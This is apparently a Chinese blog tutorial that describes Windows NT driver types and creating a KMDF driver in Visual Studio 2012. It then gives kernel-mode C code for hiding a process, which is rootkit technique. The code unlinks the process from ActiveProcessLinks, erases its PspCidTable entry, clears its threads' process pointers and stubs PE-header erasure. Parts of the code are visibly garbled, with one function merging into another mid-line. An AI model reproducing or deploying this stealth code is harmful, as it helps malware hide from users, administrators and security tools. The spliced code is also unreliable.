在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio2012与Windows8带来格外不同的新体验
1.启动Vs2012
2.看见满目的驱动开发模板
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
4.创建一个驱动程序,KMDF DriverMVP
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
6.按下F5,选择驱动编译,
插入下列代码实现内核隐藏进程
头文件
#ifndef DBGHELP_H#define DBGHELP_H 1#include/************************************************************************//* 重量级结构的申明 *//************************************************************************/typedef struct _HANDLE_TABLE { ULONG Flags; LONG HandleCount; PHANDLE_TABLE_ENTRY **Table; struct _EPROCESS *QuotaProcess; HANDLE UniqueProcessId; LONG FirstFreeTableEntry; LONG NextIndexNeedingPool; ERESOURCE HandleTableLock; LIST_ENTRY HandleTableList; KEVENT HandleContentionEvent;} HANDLE_TABLE, *PHANDLE_TABLE; typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)( IN PHANDLE_TABLE_ENTRY HandleTableEntry, IN HANDLE Handle, IN PVOID EnumParameter );typedef BOOLEAN(*__ExEnumHandleTable)( IN PHANDLE_TABLE HandleTable, IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure, IN PVOID EnumParameter, OUT PHANDLE Handle OPTIONAL );typedef BOOLEAN (*EXENUMHANDLETABLE)( IN PHANDLE_TABLE HandleTable, IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure, IN PVOID EnumParameter, OUT PHANDLE Handle OPTIONAL );/************************************************************************//* 申明一些全局变量 *//************************************************************************/ULONG g_Offset_Eprocess_Name=0;ULONG g_Offset_Eprocess_Flink = 0;ULONG g_Offset_Eprocess_ProcessId = 0;ULONG g_Offset_Eprocess_HandleTable = 0;__ExEnumHandleTable ExEnumHandleTable ;PEPROCESS g_pEprocess_System = 0;ULONG trytimes=0;ULONG error=0;/************************************************************************//* 申明一些函数 *//************************************************************************/BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter);NTSTATUS EraseObjectFromHandleTable( PHANDLE_TABLE pHandleTable, IN ULONG ProcessId );VOID RemoveNodeFromActiveProcessLinks( IN ULONG ProcessId );VOIDHideProcessById( IN ULONG ProcessId);NTSTATUS LookupProcessByName( OUT PEPROCESS pEprocess );NTSTATUS InitializeCommonVariables( );NTSTATUS GetProcessNameOffset( OUT PULONG Offset OPTIONAL );BOOLEAN IsValidModule(ULONG i);void Search();ULONG GetAddrFromProcessId();VOID ClearMZMask();#endif
源文件
VOID BreakThreadByProcess(ULONG Pid){/*++Routine Description: 将所有线程ETHREAD结构的ThreadsProcess抹掉Return Value:VOID--*/ PEPROCESS eProcess; PETHREAD eThread; PLIST_ENTRY pList; PsLookupProcessByProcessId(Pid,&eProcess); pList = eProcess->Pcb.ThreadListHead.Blink; while (pList != eProcess->Pcb.ThreadListHead.Flink) { eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry)); eThread->ThreadsProcess = 0; pList = pList->Blink; } }VOID ClearMZMask(){/*++Routine Description: 擦除PE文件MZ,PE标志Return Value:VOID--*/ PVOID addr; ULONG pid; PEPROCESS eProcess; KAPC_STATE apcstatus; pid = ProtectPid; PsLookupProcessByProcessId(pid,&eProcess); KeStackAttachProcess(eProcess,&apcstatus); KeUnstackDetachProcess(&apcstatus);}ULONG GetAddrFromProcessId() { /*++Routine Description: 搜索PsLookupProcessByProcessId函数得到PspCidTable的地址 ppPspCidTable:返回PspCidTable表地址Return Value:VOID--*/ UNICODE_STRING pslookup; PUCHAR addr; PUCHAR p; ULONG q; RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId"); addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup); for(p=addr;pObject,NULL); status=STATUS_SUCCESS ; } return status ;}VOID RemoveNodeFromActiveProcessLinks( IN ULONG ProcessId ){/*++Routine Description: 移除进程EPROCESS结构中的ActiveProces中自己的链表 ProcessId:进程的PID Return Value:VOID--*/ NTSTATUS status; LIST_ENTRY *pListEntry; PEPROCESS pEprocess; status = PsLookupProcessByProcessId(ProcessId,&pEprocess); if (!NT_SUCCESS(status)) { DbgPrint("PsLookupProcessByProcessId Error!\n"); return ; }// ObDereferenceObject(pEprocess); pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88); pListEntry->Flink->Blink = pListEntry->Blink; pListEntry->Blink->Flink = pListEntry->Flink;}VOIDHideProcessById( IN ULONG ProcessId ){ NTSTATUS status ; HANDLE_TABLE *pPspCidTable ; PEPROCESS pCsrssEprocess=NULL ; status=InitializeCommonVariables(); pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId(); status=LookupProcessByName(pCsrssEprocess); // 先从活动进程链表中摘除 RemoveNodeFromActiveProcessLinks(ProcessId); // 擦除PspCidTable中对应的Object EraseObjectFromHandleTable(pPspCidTable,ProcessId); // 擦除Csrss进程中那份表,无数次蓝屏,所以坚决放弃// EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId); return ;}NTSTATUS LookupProcessByName( OUT PEPROCESS pEprocess ){ PEPROCESS esProcess; LIST_ENTRY *listen; esProcess = PsGetCurrentProcess(); while (1) { listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink; esProcess= (EPROCESS *)((ULONG)listen - 0x88); DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174)); if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe"))) { DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174)); pEprocess = esProcess; DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess); return STATUS_SUCCESS; break; } listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88)); } }NTSTATUS GetProcessNameOffset( OUT PULONG Offset OPTIONAL ){ NTSTATUS status ; PEPROCESS curproc ; ULONG i ; if(!MmIsAddressValid((PVOID)Offset)) { status=STATUS_INVALID_PARAMETER ; return status ; } curproc=PsGetCurrentProcess(); // // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量 // 偏移174h的位置,这里存的是进程的短文件名,少数地方用, // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断 // Scan for 12KB, hopping the KPEB never grows that big! // for(i=0;i<3*PAGE_SIZE;i++) { if(!strncmp("System",(PCHAR)curproc+i,strlen("System"))) { *Offset=i ; status=STATUS_SUCCESS ; break ; } } return status ;}NTSTATUS InitializeCommonVariables(){ NTSTATUS status ; ULONG uMajorVersion ; ULONG uMinorVersion ; status=GetProcessNameOffset(&g_Offset_Eprocess_Name); if(!NT_SUCCESS(status)) { return status ; } g_pEprocess_System=PsGetCurrentProcess(); PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL); if(uMajorVersion==4&&uMinorVersion==0) { g_Offset_Eprocess_Flink=152 ; // Stop supporting NT 4.0 return STATUS_UNSUCCESSFUL ; } else if(uMajorVersion==5&&uMinorVersion==0) { g_Offset_Eprocess_ProcessId=156 ; g_Offset_Eprocess_Flink=160 ; g_Offset_Eprocess_HandleTable=0x128 ; } else if(uMajorVersion==5&&uMinorVersion==1) { g_Offset_Eprocess_ProcessId=132 ; g_Offset_Eprocess_Flink=136 ; g_Offset_Eprocess_HandleTable=0xC4 ; } else if(uMajorVersion==5&&uMinorVersion==2) { g_Offset_Eprocess_ProcessId=132 ; g_Offset_Eprocess_Flink=136 ; g_Offset_Eprocess_HandleTable=0xC4 ; } return STATUS_SUCCESS ;}/*++Routine Description: 得到各个变量的偏移 Return Value:VOID--*/